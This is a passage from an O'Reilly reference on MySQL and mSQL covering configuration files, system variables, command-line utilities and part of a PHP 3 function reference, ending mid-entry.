As of MySQL 3.22, you may specify both server and client options within a text configuration file. There is one format for this file which takes on different meaning depending on the location of the file. If the configuration file is stored in /etc/my.cnf, the options apply to all MySQL servers and clients on the machine. If it located in the data directory of a MySQL server (e.g., /usr/local/mysql/data/my.cnf) the options effect the operation of that MySQL server. Lastly, if the configuration file is named .my.cnf (note the initial period) and is located in the home directory of a user, it effects any clients run by that user.

The format of the file is similar to the one popularized by Windows initialization files. The file is broken up into stanzas, each with a group name enclosed in brackets. Underneath the group name is a list of options. Comments are indicated by a line beginning with # or ;. Each group name is the name of a MySQL client or server program you wish the option to affect. The special group name client affects all MySQL client programs (everything except mysqld).

The options given in this file can be any long form command line option to any MySQL command (excluding the double-dash "--" option indentifier). Following is a sample server-wide my.cnf file.

[client]
port=9999
socket=/dev/mysql

[mysqld]
port=9999
socket=/dev/mysql
set-variable = join_buffer=1M

[mysql]
host=dbhost
unbuffered
Previous | Home | Next
15.2. mSQL SQL | Book Index | 16.2. mSQL System Variables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


mSQL System Variables (MySQL & mSQL)

 MySQL and mSQLSearch this book

16.2. mSQL System Variables

Before mSQL 2, the only post-install configuration that could be performed was through a few global environment variables. However, mSQL 2.0 introduced a configuration file that allows for a much greater flexibility in setting mSQL's parameters. This section covers both the environment variables and the mSQL 2 specific configuration file.

16.2.1. Environment Variables

The following variables are specific to mSQL programs. They may be defined in the current shell or as part of a shell script.

MSQL_DEBUG

The debugging level for the program. This is a number from (no output) to 3 (maximum output).

MSQL_CONF_FILE

The path to the mSQL configuration file as shown later.

In addition, the mSQL programs use the following environment variables that are routinely set as part of the Unix environment.

USER

The username of the current user.

EDITOR
VISUAL

The path of the default editor. The msql program uses this program to edit SQL statements if a \e command is encountered.

16.2.2. The mSQL Configuration File

The mSQL configuration file contains the values of several variables that effect the operation of the mSQL programs. By default, the location of the configuration file is /usr/local/Hughes/msql.conf. This value can be changed by setting the MSQL_CONF_FILE environment variable. The configuration file begins with a section name in brackets followed by the variables for that section. Following is a sample msql.conf file:

[general]

Inst_Dir = /usr/local/Hughes
mSQL_User = msql
Admin_User = root
Pid_File = %I/msql2d.pid
TCP_Port = 1114
UNIX_Port = %I/msql2.sock

[system]

Msync_Timer = 30
Host_Lookup = True
Read_Only = False

[w3-msql]

Auth_Host = NULL
Footer = True
Force_Private = False

The general section affects the operation of all mSQL programs, the msqld database server uses the system section and the w3-msql section is for the W3-mSQL web/database interaction system. When mSQL reads the configuration files, it replaces the characters %I with the location of the mSQL installation on the server machine. The available variables for each section are listed below.

16.2.2.1. general

Admin_User

The username of the account allowed to make changes to the mSQL database as a whole. The default value is root.

Inst_Dir

The location of the mSQL installation. All occurrences of %I in the configuration file are replaced with this value. The default value is /usr/local/Hughes.

mSQL_User

The username of the account that runs the mSQL server daemon. The default value is msql.

Pid_File

The location of the file containing the process ID of the running mSQL daemon. The default is %I/msql2d.pid.

TCP_Port

The TCP port number used to connect to a mSQL server (in the case of the client programs) or to listen for incoming connections (in the case of msql2d). The default value is 1114.

UNIX_Port

The filename of the Unix socket used to connect to the local mSQL server (in the case of the client programs) or to allow local connections (in the case of msql2d). The default value is %I/msql2.sock.

16.2.2.2. system

Host_Lookup

If set to `True', all client connections must be from machines that have valid, verifiable hostnames.

Msync_timer

The interval (in seconds) at which the data used by the server in RAM is synchronized with the data on disk.

Read_Only

If set to `True', no modifications are allowed on the database. Only SELECT queries are permitted.

16.2.2.3. w3-msql

Auth_Host

The hostname of the machine containing the database server with the W3-Auth tables. If set to NULL or omitted, the local server is used.

Footer

If set to `True', the standard Hughes Technologies footer will be appended to every page.

Force_Private

If set to `True', only pages that are protected by W3-Auth can be accessed through W3-mSQL. This prevents regular HTML files from being processed through W3-mSQL.

Previous | Home | Next
16. MySQL and mSQL System Variables | Book Index | 17. MySQL and mSQL Programs and Utilities
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


MySQL and mSQL Programs and Utilities (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 17. MySQL and mSQL Programs and Utilities

Contents:

MySQL Utilities
mSQL Utilities

Both MySQL and mSQL come prepackaged with a wealth of programs and utilities to make interacting with the database server easier. Some of these programs are used by the end user to read and write from the database, while others are meant for the database administrator to maintain and repair the database as a whole.

17.1. MySQL Utilities

isamchk
isamchk [options]table [table...]

Performs operations on the database table files themselves (called ISAM files for Indexed Sequential Access Method). This utility is used to check and repair the files, as well as report information about them. You must provide the correct path to the ISAM file you wish to examine. The default location for the ISAM files is /usr/local/var/databasename/tablename.ISM.

Options

-?, --help

Display usage information.

-# debuglevel, --debug=debuglevel

Set the debugging level to debuglevel. The debugging library used by MySQL has many options. A list of all of the available options can be found at http://www.turbolift.com/mysql/appendixC.html. The most common set of options is d:t:o,/tmp/debugfile.

-a, --analyze

Analyze the distribution of keys within a table and make adjustments if performance would be improved.

-d, --description

Display short description of a table.

-e, --extend-check

Perform additional checks on the integrity of a table. With this option, you can be absolutely sure that the table is not damaged.

-f, --force

Overwrite without warning files that already exist. Also automatically recover damaged tables without notice.

-i, --information

Display full statistics the table(s) being checked.

k=number, --keys-used=number

Update only number of keys used. This option is used mainly to disable the keys (-k=0) to speed up other operations on the table such as a bulk load.

-l, --no-symlinks

Do not repair a table that is a symlink.

-q, --quick

Speed up repair by not examining the data file.

-r, --recover

Perform general repair on the table. Does not fix duplicate keys which are supposed to be unique.

-o, --safe-recover

Use an older, slower method of recovery that can repair some things that "-r" will miss.

-O, --set-variable

Set an option variable. See Chapter 16, "MySQL and mSQL System Variables", for a full list of usable variables.

-s, --silent

Display only errors

-S, --sort-index

Sort the index block of the table.

-R=index, --sort-records=index

Sort the records of the table by index within the table.

-u, --unpack

Decompress a file packed with pack_isam.

-v, --verbose

Display extra information.

-V, --version

Display version information.

-w, --wait

If the table is locked, wait for it to be unlocked. Without this option, ismchk will exit if it encounters a locked table.

isamlog
isamlog [options] [logfile] [table]

Displays information about ISAM logs. An ISAM log is generated if the MySQL server is started with the -log-isam option. The information in the ISAM log can be used to recover damaged tables using the -r option. However, modifying the data files directly can be dangerous and you should always back up your data before doing so.

Options

-?, --help

Display usage information

-# debuglevel

Set debugging level. A list of all of the available options can be found at http://www.turbolift.com/mysql/appendixC.html.

-c number

Examine only the last number commands.

-f number

Maximum number of open files. When repairing large logs isamlog can have a number of tables open at once. If you consistently run out of file descriptors on your system, this option will limit the number of files isamlog uses. Instead of using more files, it will juggle data between the open files and memory, resulting in slower operation.

-F directory

Directory containing the ISAM log file.

-i

Display additional information.

-o number

Offset number commands before examining the log.

-p

Remove components from the path.

-r

Ignore errors while examining log. This option allows you to recover all of the information within a log file.

-R datafile recordnumber

Open an ISAM data file (a file ending with .ISM) and retrieve the data at recordnumber.

-u

Update the tables using the log information.

-v

Display extra information about the process.

-V

Display version information.

-w file

Write all records found using -R to a file.

mysql
mysql [options] [database]

The MySQL command line monitor. This program is the most basic way to communicate with the MySQL server. SQL commands can be typed directly on the command line and the results are displayed on the screen. If database is supplied, it is automatically selected as the current database.

The command line monitor works much like a bash shell, because it uses the same GNU readline function that bash uses. For example, you can complete a word by using the tab key, press Ctrl-a to jump to the start of the current line or Ctrl-e to jump to the end, press Ctrl-r to perform a reverse search, and use the up arrow to retrieve the previous command.

Statements can continue over multiple lines and are not acted upon until a command is given. When using full word commands (go, print, etc.) the command must be entered on a line by itself. Escape character commands (\g, \p, etc.) can be used at the end of any line. In addition, a semicolon can be used to end an SQL statement just like \g.

Commands

help, ?, \h

Display the list of commands.

clear, \c

Clear (ignore) the current statement.

edit, \e

Edit the current statement using the default editor.

exit.

Exit the program.

go, \g, ;

Send the current statement to the database server.

ego, \G

Send the current statement to the server and display the results vertically.

print, \p

Display the current statement.

quit, \q

Same as exit.

rehash, \#

Rebuild the index of completion terms.

status, \s

Display status information about the server and the current session.

use, \u

Select another database.

Options

-?, --help

Display usage information.

-# debuglevel. -debug=debuglevel

Set the debugging level. A list of all of the available options can be found at http://www.turbolift.com/mysql/appendixC.html

-A, --no-auto-rehash.

Do not automatically rehash database information.

-B, --batch

Print results in `batch' mode. This provides minimally formatted output which can easily be used in other database applications.

-e statement, --execute=statement

Execute the given statement and quit. Automatically implies -B.

-f, --force

Do not stop processing when an SQL error is encountered.

-h host, --host=host

Connect to the database server on the specified host.

-n, --unbuffered

Do not buffer output between queries.

-O variable=value, --set-variable variable=value

Set an option variable. See Chapter 16, "MySQL and mSQL System Variables" for a full list of usable variables.

-p [password], --password[=password]

The password used to connect to the database server. If this option is used without a value, the password is asked from the command line.

-P port, --port=port

The port number used to connect to the database server.

-q, --quick

Display output as it comes from the server. If you suspend your terminal while using this option, the server could pause.

-r. -raw

Display output without any conversion. Only useful in conjunction with -B.

-s, --silent

Suppress some output.

-S file, --socket=file

The Unix socket file used to connect to the database server.

-t, --table

Display output in table format.

-T, --debug-info

Display debugging information when the program exits.

-u username, --user=username

Username used for connection with the database.

-v, --verbose

Display extra output.

-V, --version

Display version information

-w, --wait

Wait and attempt connection later if unable to connect to the database server.

mysqlaccess
mysqlaccess [options] [host] user database

Displays and modifies access rights for the MySQL server. You may examine the rights of users for any database and in connection with any host. Unix shell wildcards `*' and `?' may be used to match multiple hosts, users and databases. All actions are performed on a copy of the actual grant tables until a mysqlaccess --commit command is sent.

Options

-?, --help

Display usage information.

-b, --brief

Display results as a brief single line table.

--commit

Move changes from temporary table to the actual grant tables. You must run mysqladmin reload before the changes will take effect.

--copy

Renew the temporary table from the actual grant tables.

-d database, --db=database

The database to which to connect.

--debug=debuglevel

Set the debugging level (0 through 3).

-h host, --host=host

The host whose access rights are examined.

--howto

Usage examples for the program.

-H host, --rhost=host

Connect to a database server on a remote host.

--old-server

Connect to a pre-3.21 MySQL server.

-p password, --password=password

Check the password of the user being examined.

--plan

Display suggestions for future releases.

--preview

Show difference between temporary table and actual grant tables.

-P password, --spassword=password

Administrative password used to access the grant tables.

--relnotes

Display the release notes for the program.

--rollback

Undo the changes made to the temporary table.

-t, --table

Display results in full table format.

-u username, --user=username

User to be examined.

-U username. -superuser=username

Administrative username used to access the grant tables.

-v, --version

Display version information.

mysqladmin
mysqladmin [options] command [command...]

Performs operations that affect the database server as a whole. This utility is used to shutdown the database server, add and delete entire databases, and other administrative functions.

Commands

create database

Create a new database.

drop database

Remove and destroy a database.

extended-status

Report a fuller status from the server than the status command.

flush-hosts

Send all buffered information to the clients.

flush-logs

Flush all buffered log data.

flush-privileges

Same as reload.

flush-status

Clear the status variables.

flush-tables

Commit all buffered table operations.

kill thread-id [thread-id...]

Kill one or more mysqld server threads.

password password

Set the administration password for the database server.

ping

Check if the MySQL server is alive.

processlist

Show the active mysqld server threads.

reload

Reload access information from the grant tables.

refresh

Perform all buffered table operations and reopen the log files.

shutdown

Shutdown the database server.

status

Report the status of the server.

variables

Display the system variables used by the server.

version

Display the version number of the server.

Options

-?, --help

Display usage information.

-# debuglevel, --debug=debuglevel

Set the debugging level. See isamchk for more information.

-f, --force

Drop tables without confirmation. Also, do not quit if an error is encountered.

-h host, --host=host

Connect to the MySQL server on the given host.

-i seconds, --sleep=seconds

Perform the commands repeatedly, sleeping the given number of seconds between each run.

-p [password], --password=[password]

Password used to connect to database server. If this options is used without an argument, the password is asked from the command line.

-P port, --port=port

Port numbed used to connect to a remove database server.

-s, --silent

Do not give an error if unable to connect to the database server.

-S file, --socket=file

The Unix socket used to connect to the local database server.

-u username, --user=username

User used to connect to the database server.

-V, --version

Display version information for the mysqladmin program.

mysqlbug
mysqlbug

Report a bug in a MySQL program or utility. This program collects information about your MySQL installation and sends a detailed problem report to the MySQL team.

mysqld
mysqld [options]

The MySQL server daemon. All other programs interact with the database through this server, so it should be left running at all times (except when down for maintenance). The daemon is usually started from a script called safe_mysqld. This script sets the appropriate environment variables and launches mysqld with the necessary arguments.

Options

-?, -I, --help

Display usage information.

-# debuglevel, --debug=debuglevel

Set the debugging level. See isamchk for more information.

-b directory, --basedir=directory

The base directory used to determine all other directories.

--big-tables

Allow large result sets by saving temporary results in a file.

--bind-address=ip-number

The IP address the server binds to.

-h directory, --datadir=directory

The directory containing the database data files.

-l [logfile], --log[=logfile]

Log various information, including connections and errors. If no argument is provided, hostname.log is used as the log file, where hostname is the name of the server machine.

--log-isam[=logfile]

Log changes to the data (ISAM) files. If no argument is provided, isam.log is used as the log file. The log generated by this option can be read and manipulated with the isamlog utility.

--log-update[=number]

Log database updates. The log file is named hostname.num, where hostname is the name of the server machine and num is the argument to the option or a unique number if no argument is given.

-L=language, --language=language

The language (English, French, etc.) for the server to use.

-n, --new

Enable new (and possibly unsafe) routines.

-o, --old-protocol

Use the 3.20.x protocol.

-O variable=value, --set-variable variable=value

Set an option variable. See Chapter 16, "MySQL and mSQL System Variables" for a full list of usable variables.

--pid-file=file

The name of the file containing the process ID (PID) of the running server. The default value is hostname.pid where hostname is the name of the server machine.

-P port, --port=port

The network port number to use.

--secure

Enable network security checks which reduce database performance.

--skip-name-resolve

Use only IP numbers (not names) for connections. This increases network performance.

--skip-networking

Disable network connections and allow only local access.

--skip-thread-priority

Give all threads the same priority.

-S, --skip-new

Do not enable new (and possibly unsafe) routines.

-Sg

Disable access checking and allow all users full access to all databases.

-Sl

Do not perform thread locking.

--socket=file

The filename of the Unix socket

-T, --exit-info

Display debugging information when shutting down the server

--use-locking

Enable thread locking

-v, -V, --version

Display version information

mysqldump
mysqldump [options] database[table]

Outputs the contents of the given database (or table within a database) as a series of ANSI SQL commands. This command is handy for breaking up a database; use the -1 and -opt options.

Options

-?, --help

Display usage information.

-# debuglevel, --debug=debuglevel

Set the debugging level. A list of all of the available options can be found at http://www.turbolift.com/mysql/appendixC.html.

--add-drop-table

Include a DROP TABLE statement before every CREATE TABLE.

--add-locks

Add LOCK TABLE statements around the data insertion statements.

--allow-keywords

Output column names that are also reserved keywords. This is not normally desirable as the column may conflict with the keyword.

-c, --compleat-insert

Output complete INSERT statements.

-C, --compress

Use data compression in the connection with the server.

--delayed

Use the INSERT DELAYED statement to insert rows.

-d, --no-data

Do not dump the data, just the table creation statements.

-e, --extended-insert

Uses the multiple-value form of the INSERT statement which can speed up data insertion.

-f, --force

Do not exit if an error is encountered.

-F, --flush-logs

Flush buffered log data before dumping the table(s).

--fields-enclosed-by=delimeter

When dumping with -T, this delimiter is placed on both sides of each field.

--fields-escaped-by=delimeter

When dumping with -T, this delimiter is placed before any special character as an escape character.

--fields-terminated-by=delimeter

When dumping with -T, this delimiter is used after every field (default is tab).

-h hostname, --host=hostname

Connect to a database server on a remote host.

-l, --lock-tables

Lock the tables before dumping.

--lines-terminated-by=delimeter

When dumping with -T, this delimiter is used after every line.

-t, --no-create-info

Do not dump the table creation statements, just the data.

-O variable=value, --set-variable variable=value

Set an option variable. See Chapter 16, "MySQL and mSQL System Variables" for a full list of usable variables.

--opt

Adds the most common and useful command line options: --add-drop-table, --add-locks, --extended-insert, --quick, and --use-locks.

-p [password], --password[=password]

The password used to connect to the database server. If no argument is given, the password is asked from the command line.

-P port, --port=port

The port used to connect to a remove database server.

-q, --quick

Display all data immediately, without buffering.

-S file, --socket=file

The Unix socket used to connect to the local server.

-T directory, --tab=directory

Generates a tab-separated file with the table data along with a file containing the SQL table creation statements. The files are outputted to the given directory.

-u username, --user=username

Username used to connect to the database server.

-v, --verbose

Display information about the state of the process while dumping the data.

-V, --version

Display version information.

-w statement, --where=statement

Outputs only the rows that satisfy the given SQL WHERE clause.

mysqlimport
mysqlimport [options] database [file]

Reads a file of data in a variety of common formats (such as comma delimited or fixed width) and inserts the data into a database. A table with the same name as the file must exist in the database with enough columns of the appropriate type to store the data.

Options

-?, --help

Display usage information.

-# debuglevel, --debug=debuglevel

Set the debugging level. A list of all of the available options can be found at http://www.turbolift.com/mysql/appendixC.html.

-d, --delete

Delete all data currently in the table before inserting the new data.

-f, --force

Do not exit if an error is encountered.

--fields-terminated-by=string

Indicates that the fields in the data file are terminated by a string.

--fields-enclosed-by=string

Indicates that the fields in the data file are enclosed by a string.

--fields-optionally-enclosed-by=string

Indicates that the fields in the data file could also be enclosed by another string.

--fields-escaped-by=string

The string used as escape characters in the data file.

-h hostname, --host=hostname

Connect to a database server on a remote host.

-I, --ignore

Ignore the new data if it conflicts with an existing unique key.

-l, --lock-tables

Lock the tables before inserting the data.

-p [password], --password[=password]

Password used to connect to the database server. If no argument is given, the password is asked from the command line.

-P port, --port=port

Port used to connect to a remove database server.

-r, --replace

If the new data conflicts with an existing unique key, replace the old data.

-s, --silent

Suppress some output.

-S file, --socket=file

The Unix socket used to connect to the local database server.

-u username, --user=username

The username used to connect to the database server.

-v, --verbose

Display information about the process while inserting the data.

-V, --version

Display version information.

mysqlshow
mysqlshow [options] [database] [table] [field]

Displays the layout of the requested database, table or field. If no argument is given, a list of all of the databases is given. With one argument the layout of the given database is show. With two arguments, a table within the database is displayed. If all three arguments are present, the information about a specific field within a table is presented.

Options

-?, --help

Display usage information.

-# debuglevel, --debug=debuglevel

Set the debugging level. A list of all of the available options can be found at http://www.turbolift.com/mysql/appendixC.html.

-h hostname, --host=hostname

Connect to a remote database server.

-k, --keys

Display the keys of a table.

-p [password], --password]=password]

Password used to connect to the database server. If no argument is given, the password is asked from the command line.

-P port, --port=port

Port used to connect to a remote database server.

-S file, --socket=file

The Unix socket used to connect to the local database server.

-u username, --user=username

Username used to connect to the database server.

-V, --version

Display version information.

Previous | Home | Next
16.2. mSQL System Variables | Book Index | 17.2. mSQL Utilities
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


mSQL Utilities (MySQL & mSQL)

 MySQL and mSQLSearch this book

17.2. mSQL Utilities

msql
msql [options] database

The mSQL command line monitor. This program is the most basic way to communicate with the mSQL server. SQL commands can be typed directly on the command line and the results are displayed on the screen. Statements can continue over multiple lines. No action is taken until a line ending with a command is entered.

Commands

\e

Edit the previous statement using the default editor.

\g

Submit statement to the database server.

\p

Display the current statement.

\q

Exit the program.

Options

-f file

Use an alternate configuration file.

-h hostname

Connect to the database server on a remote host.

msql2d
msql2d [options]

The mSQL server daemon. All other programs interact with the database through this server, so it should be left running at all times (except when down for maintenance).

Options

-f file

Use an alternate configuration file.

msqladmin
msqladmin [options] command

Performs operations that affect the database server as a whole. This utility is used to shut down the database server, add and delete entire databases, and other administrative functions.

Commands

copy database newdatabase

Create an exact duplicate of a database under a different name.

create database

Create a new blank database.

drop database

Remove a database and destroy its contents.

move database newdatabase

Rename a database.

reload

Reread the configuration files.

shutdown

Terminate the database server.

stats

Display statistics about the database server. This shows who is currently connected to the server, what database they are using and how many queries they have sent, among other things.

version

Display the version information for the database server.

Options

-f file

Use an alternate configuration file.

-h hostname

Connect to a database server on a remote host.

-q

Do not ask for verification of commands.

msqldump
msqldump [options] database[table]

Outputs the contents of the given database (or table within a database) as a series of ASCII SQL commands.

Options

-c

Output complete INSERT statements.

-f file

Use an alternate configuration file.

-h hostname

Connect to a database server on a remote host.

-t

Dump only the table creation statements; do not dump the data.

-w statement

Use an SQL WHERE clause to limit the data outputted.

-v

Display status information while dumping the data.

msqlexport
msqlexport [options]database table

Outputs the contents of the given table in ASCII delimited format.

Options

-e character

Use character to escape any of the delimiter characters found in the data.

-h hostname

Connect to a database server on a remote host.

-q character

The character used to surround each data value.

-s character

The character used to delimit the data.

-v

Display status information while dumping the data.

msqlimport
msqlimport [options] database table

Reads an ASCII delimited file and inserts the data into the given table.

Options

-e character

The character used to as an escape character in the data.

-h hostname

Connect to a database server on a remote host.

-q character

The character used to surround each data value.

-s character

The character used to delimit the data.

-v

Display status information while dumping the data.

relshow
relshow [options] [database] [table] [index|_seq]

Displays the layout of the requested database, table, index, or sequence. If no argument is given, a list of all of the databases is given. With one argument, the layout of the given database is shown. With two arguments, a table within the database is displayed. If all three arguments are present, the third argument must be an index within the given table, or _seq, in which case information about the sequence on the table is shown.

Options

-f file

Use an alternate configuration file.

-h hostname

Connect to a database server on a remote host.

Previous | Home | Next
17. MySQL and mSQL Programs and Utilities | Book Index | 18. PHP and Lite Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


PHP and Lite Reference (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 18. PHP and Lite Reference

Contents:

PHP
Lite

18.1. PHP

The following is the quick reference guide to PHP. This list is complete as of PHP 3. The functions that work with MySQL and mSQL are covered, but those specific to other database servers -- such as Ababas D, dbm, Oracle, and PostgreSQL -- are omitted.

abs
$pos_num = abs($number);

Returns the absolute value of number.

addslashes
$escaped_string = addslashes($string);

Returns a copy of string with any $ \ or ' characters escaped.

asort
$sorted_array = asort($array);

Returns a sorted copy of the associative array array. asort works only on associative arrays. Use sort to sort regular arrays. If the first member of the array is a number the returned array will be sorted numerically, otherwise the returned array will be sorted alphabetically.

bindec
$decimal = bindec($binary);

Returns the decimal equivalent of binary.

ceil
$higher_integer = ceil($number);

Rounds number to the next highest integer and returns that as a floating point value.

chdir
chdir($directory);

Changes the current working directory to directory.

chgrp
chgrp($file,$group);

Changes the file file to belong to the group group.

chimed
chimed($file,$permissions);

Changes the file to have the permissions permissions. The permissions argument must be given as an octal value.

chown
chown($file, $owner);

Changes the file to belong to the owner owner. This function takes effect only if the PHP binary is running as root, which is not generally recommended.

chop
$stripped_string = chop($string);

Returns string with all trailing new lines, spaces, and tabs removed.

chr
$character = chr($number);

Returns the character that corresponds to the ASCII value of number. Hexadecimal and octal numbers are denoted with the usual 0xff and 077 respectively. All other numbers are considered decimal.

clearstack
clearstack();

Empties the current stack. This function is a kludge designed to circumvent a limitation in the design of PHP. If you have a user-defined function that contains a large loop, you may run into stack space problems. If this happens, call this function inside the loop. The drawback of doing this is that your function cannot be called within another function. The output of your function has to be saved to a variable which then can be used as you wish.

clearstatcache
clearstatcache();

Empties the cache used for any functions that access information about files. Because accessing file information can take a relatively long time, this information is stored in a cache by PHP. If you want to be sure you are getting the most current (i.e., noncached) information about a file, call this function before retrieving the information.

closedir
closedir($directory);

Closes a directory opened with opendir.

closelog
closelog();

Stops all logging done via syslog.

cos
$result = cos($number);

Returns the cosine of number.

count
$number = count($array);

Returns the number of elements in array. If array is a nonarray variable, the function returns 1 (because a variable looks like an array with only one element). If array is not defined, is returned.

crypt
$encrypted_string = crypt($string);
$encrypted_string = crypt($string, $salt);

Returns an encrypted version of string. The encryption is the standard Unix DES encryption as used in Unix passwords and the like. An optional two-character salt can be provided.

date
$formatted_date = date($format,$time);

Returns time (a standard Unix time as given by the Time function) formatted with format. The returned value is the same as format except that the following characters are replaced with the appropriate value:

A

AM/PM

a

am/pm

D

Day (eg., Sun)

d

Day (eg., 13)

F

Month (eg., February)

H

Hours in 24 hour format (eg., 17)

h

Hours in 12 hour format (eg., 5)

i

Minutes (eg., 30)

l

Day (eg., Sunday)

M

Month (eg., Feb)

m

Month (eg., 02)

s

Seconds (eg., 27)

Y

Year (eg., 1998)

y

Year (eg., 98)

U

Seconds since epoch (eg., 803537321)

z

Day of the year (eg., 154)

dblist
$db_info = dblist();

Returns a list of the databases supported by PHP.

decbin
$binary = decbin($decimal);

Returns the binary equivalent of decimal.

dexhex
$hex = dechex($decimal);

Returns the hexadecimal equivalent of decimal.

decoct
$octal = decoct($decimal);

Returns the octal equivalent of decimal.

doubleval
$double = doubleval($variable);

Returns variable as a floating point number.

echo
echo [format_string] expression [, expression ...]

This is not a true function but rather PHP's built-in version of the C printf function. In its simplest form, echo simply prints out expression. Up to 5 expressions can be given, each of which are printed out in turn. In addition, a format string can be provided. The format string is in the same style as C or Perl's printf function.

end
end($array);

Sets the internal pointer of array to the end of the array.

ereg
$result = ereg($expression, $string);

$result = ereg($expression, $string, $match_array);

Returns a true value if string matches the regular expression expression. If an array is provided as the third argument, the values matched in the string are placed in the array.

eregi
$result = eregi($expression, $string);
$result = eregi($expression, $string, $match_array);

Identical to ereg except that case is ignored for the purposes of matching.

ereg_replace
ereg_replace($expression, $replacement_string, $string);

Replaces all parts of string that match expression with replacement_string.

eregi_replace
eregi_replace($expression, $replacement_string, $string);

Identical to ereg_replace except that case is ignored for the purposes of matching.

escapeshellcmd
$safe_string = escapeshellcmd($string);

Returns a copy of string with its characters escaped so that it is safe for use with exec or system.

eval
eval($string);

Evaluates the contents of string as if it were a PHP script. Variable substitution is done on the string so if you want to use a variable in the "miniscript" you should escape it.

exec
$last_line = exec($command);
$last_line = exec($command, $output_array);
$last_line = exec($command, $output_array, $return_code);

$last_line = exec($command, $output_array);

Executes command as a Unix command in a subshell. Only the last line of the command output is returned. If an array is provided as the second argument, all of the lines of output from the command are placed in the array. If a third argument is present, the return code from the command is placed in that variable.

exit
exit();

Ends all parsing of the HTML file.

exp
$result = exp($number);

Returns the number e raised to the number power.

fclose
fclose($fd);

Closes a file opened by fopen.

feof
$result = feof($fd);

Returns true if the file descriptor fd is at the end of the file.

fgets
$line = fgets($fd, $max_bytes);

Returns the next line (up to max_bytes in length) from the file referred to by fd.

fgetss
$line = fgetss($fd, $max_bytes);

Identical to fgets except that it attempts to strip all HTML and PHP tags from the input.

file
$array = file($filename);

Returns an array containing every line in the file filename.

fileatime
$time = fileatime($filename);

Returns (in standard Unix time format) the last time filename was accessed. If this information cannot be obtained for whatever reason, the function returns -1.

filectime
$time = filectime($filename);

Returns (in standard Unix time format) the last time filename's status was changed. If this information cannot be obtained for whatever reason, the function returns -1.

filegroup
$group_id = filegroup($filename);

Returns the group ID of filename's group. If this information cannot be obtained for whatever reason, the function returns -1.

fileinode
$inode = fileinode($filename);

Returns the inode of filename. If this information cannot be obtained for whatever reason, the function returns -1.

filemtime
$time = filemtime($filename);

Returns (in standard Unix time format) the last time filename was modified. If this information cannot be obtained for whatever reason, the function returns -1.

fileowner
$owner = fileowner($filename);

Returns the ID of the owner of the file. If this information cannot be obtained for whatever reason, the function returns -1.

fileperms
$permissions = fileperms($filename);

Returns the permissions of filename. If this information cannot be obtained for whatever reason, the function returns -1.

filesize
$size = filesize($filename);

Returns the size of filename in bytes. If this information cannot be obtained for whatever reason, the function returns -1.

filetype
$type = filetype($filename);

Returns one of the following, indicating the type of filename: dir, file, fifo, char, block, or link.

floor
$lower_integer = floor($number);

Rounds number to the next lowest integer and returns that as a floating point value.

flush
flush();

Flushes the buffer on the standard output so that the end user immediately sees all of the output so far.

fopen
$fd = fopen($filename, $mode);

Opens the file filename in the mode mode and returns a file descripter associated with the open file. As with the C function fopen, the mode is one of "r", "r+", "w", "w+", "a", "a+". The function returns -1 if the file could not be opened.

fputs
fputs($fd, $string);

Writes string to the file associated with fd, followed by a newline.

fpassthru
fpassthru($fd);

Directly prints all of the remaining data in the file associated with fd.

fseek
fseek($fd, $position);

Positions the file associated with fd to position bytes from the beginning of the file.

fsockopen
$fd = fsockopen($hostname,$port);

Opens a connection with hostname on port port and returns a file descriptor associated with the open connection. If the port number is 0, the hostname will be considered the filename of a Unix-style socket file on the local host. In the case of an error, the function returns the following: -3 if the socket could not be created, -4 if the hostname could not be resolved, -5 if the connection was refused or timed out, -6 if the fdopen() call failed, or -7 if the setvbuf() call failed.

ftell
$position = ftell($fd);

Returns the position of the pointer in the file associated with fd. This value can be used as an argument to fseek.

getaccdir
$directory = getaccdir();

Returns the directory where the PHP configuration files are held.

getenv
$value = getenv($variable);

Returns the value of the environment variable variable.

gethostbyname
$address = gethostbyname($hostname);

Returns the IP address of hostname.

gethostbyaddr
$hostname = gethostbyaddr($address);

Returns the hostname of the machine with the IP address address.

getimagesize
$file_info_array = getimagesize($filename);

Returns an array of information about the image in the file filename. The first element of the array is the width of the image, the second is the height, and the third is the type of the image. GIF, JPG, and PNG images are currently recognized. The fourth element is a string of the format "width=xxx height=yyy" which can be used directly in an HTML <IMG> tag.

getlastaccess
$time = getlastaccess();

Returns (in standard Unix time format) the date and time the page was last accessed. This function works only if PHP was compiled with access logging enabled.

getlastbrowser
$browser = getlastbrowser();

Returns the identification string of the last browser to access the page. This function works only if PHP was compiled with access logging enabled.

getlastemail
$email = getlastemail();

Returns the e-mail address of the last person to access the page. This function works only if PHP was compiled with access logging enabled.

getlasthost
$host = getlasthost();

Returns the hostname of the last machine to access the page. This function works only if PHP was compiled with access logging enabled.

getlastmod
$time = getlastmod();

Returns the time (in standard Unix time format) that the page was last modified. This function works only if PHP was compiled with access logging enabled.

getlastref
$url = getlastref();

Returns the URL of the referring page of the last visitor to the page. This function works only if PHP was compiled with access logging enabled.

getlogdir
$directory = getlogdir();

Returns the directory that contains the PHP log files.

getmyinode
$inode = getmyinode();

Returns the inode of the HTML file that contains the current PHP script.

getmypid
$pid = getmypid();

Returns the process ID number of the current PHP process.

getmyuid
$id = getmyuid();

Returns the user ID of the owner of the HTML file that contains the current PHP script.

getrandmax
$number = getrandmax();

Returns the largest possible number that will be returned by rand.

getstartlogging
$time = getstartlogging();

Returns the time (in standard Unix format) that logging began on the HTML file containing the current PHP script.

gettoday
$hits = gettoday();

Returns the number of hits the page has received since midnight at the beginning of the current day.

gettotal
$hits = gettotal();

Returns the total number of hits the page has received since logging was started on the page.

gettype
$type = gettype($variable);

Returns one of "integer," "double," or "string," indicating the type of variable.
gmdate
$formatted_date = gmdate($format, $time);

Identical to Date except that it uses Greenwich Mean time to calculate the values instead of the local time.

header
header($header_string);

Outputs header_string as the HTTP header of the document. This function must be used before any HTML in the file and before any PHP commands which generate output.

hexdec
$decimal = hexdec($hex);

Returns the decimal equivalent of hex.

htmlspecialchars
$html_string = htmlspecialchars($string);

Returns string, replacing any special characters (including <, >, &, " and all ASCII characters from 160 to 255) with their HTML entity codes.

imagearc
imagearc($image, $cx, $cy, $width, $height, $start, $end, $color);

Draws a partial ellipse in image with the color color. The ellipse has the center (cx, cy) width width, height height, begins at start degrees, and ends at end degrees.

imagechar
